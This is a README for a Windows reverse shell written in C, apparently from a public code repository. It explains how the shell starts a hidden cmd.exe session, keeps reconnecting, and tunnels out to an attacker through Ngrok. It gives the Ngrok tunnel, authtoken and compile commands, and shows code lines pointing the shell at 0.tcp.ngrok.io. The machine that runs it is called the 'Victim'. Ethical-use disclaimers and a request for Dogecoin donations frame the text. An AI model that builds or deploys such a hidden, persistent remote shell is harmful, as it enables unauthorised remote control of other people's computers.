This project is intended strictly for educational, ethical hacking, and cybersecurity research purposes.
Do not use this tool against any system or network without explicit written permission from the owner. Misuse of this tool may result in legal consequences.
This project demonstrates a basic reverse shell in C on Windows that:
- Launches Ngrok to expose a TCP port (e.g., 4444) over the internet.
- Connects back to
127.0.0.1:4444, where Ngrok forwards traffic. - Spawns a hidden
cmd.exesession, allowing remote shell control. - Logs all actions to
C:\temp\tampa.txtfor debugging or auditing. - Automatically reconnects if the connection fails or closes.
- Automatic setup of Ngrok via
cmd.exe - Background reverse shell loop with error logging
- Connection persistence and retry logic
- Supports reserved TCP domains (Ngrok paid feature)
Due to the author not having an active Ngrok subscription, the final reserved domain logic has not been tested live β but is designed correctly in theory.
When executed:
-
Ngrok is authenticated using your token (once).
-
Ngrok starts a TCP tunnel:
ngrok tcp --remote-addr=your-reserved-name.ngrok-free.app:4444 4444 -
Victim shell connects to
127.0.0.1:4444, which Ngrok tunnels to the internet. -
You connect from a remote system to:
your-reserved-name.ngrok-free.app:4444 -
You gain a reverse shell in your listener (e.g., Netcat, Metasploit).
Make sure to:
-
Download and place
ngrok.exein your system's PATH. -
Replace this line with your Ngrok authtoken:
ngrok config add-authtoken <YOUR_TOKEN_HERE>
-
Reserve your domain and port at Ngrok Dashboard before use.
π« Your actual token has been removed from the public version of this README.
To compile on Windows:
cl reverse_shell.c /link ws2_32.libIf you don't have cl (MSVC), use GCC (MinGW):
gcc reverse_shell.c -o reverse_shell.exe -lws2_32If you're not using a reserved domain:
-
Start Ngrok manually:
ngrok tcp 4444
-
Note the forwarded address like:
tcp://0.tcp.ngrok.io:12345 -
Change the IP and port in your code to match:
char ip_addr[] = "0.tcp.ngrok.io"; char port[] = "12345";
-
Recompile and run.
Want to support my learning and help me buy an Ngrok subscription?
Dogecoin address:
DHERUQ8925qMWCcGzJZQe43E9yEfnpVK3p
Even small tips help me explore more advanced topics like encrypted shells, AV evasion, and secure coding. Thanks! ππΆ
- Windows API documentation β Microsoft Docs
- Reverse Shell & Sockets concept β PayloadAllTheThings
- Ngrok Tunnel usage β Ngrok Docs
Never test reverse shells on devices you do not own or control.
Learn, donβt break. Build, donβt destroy.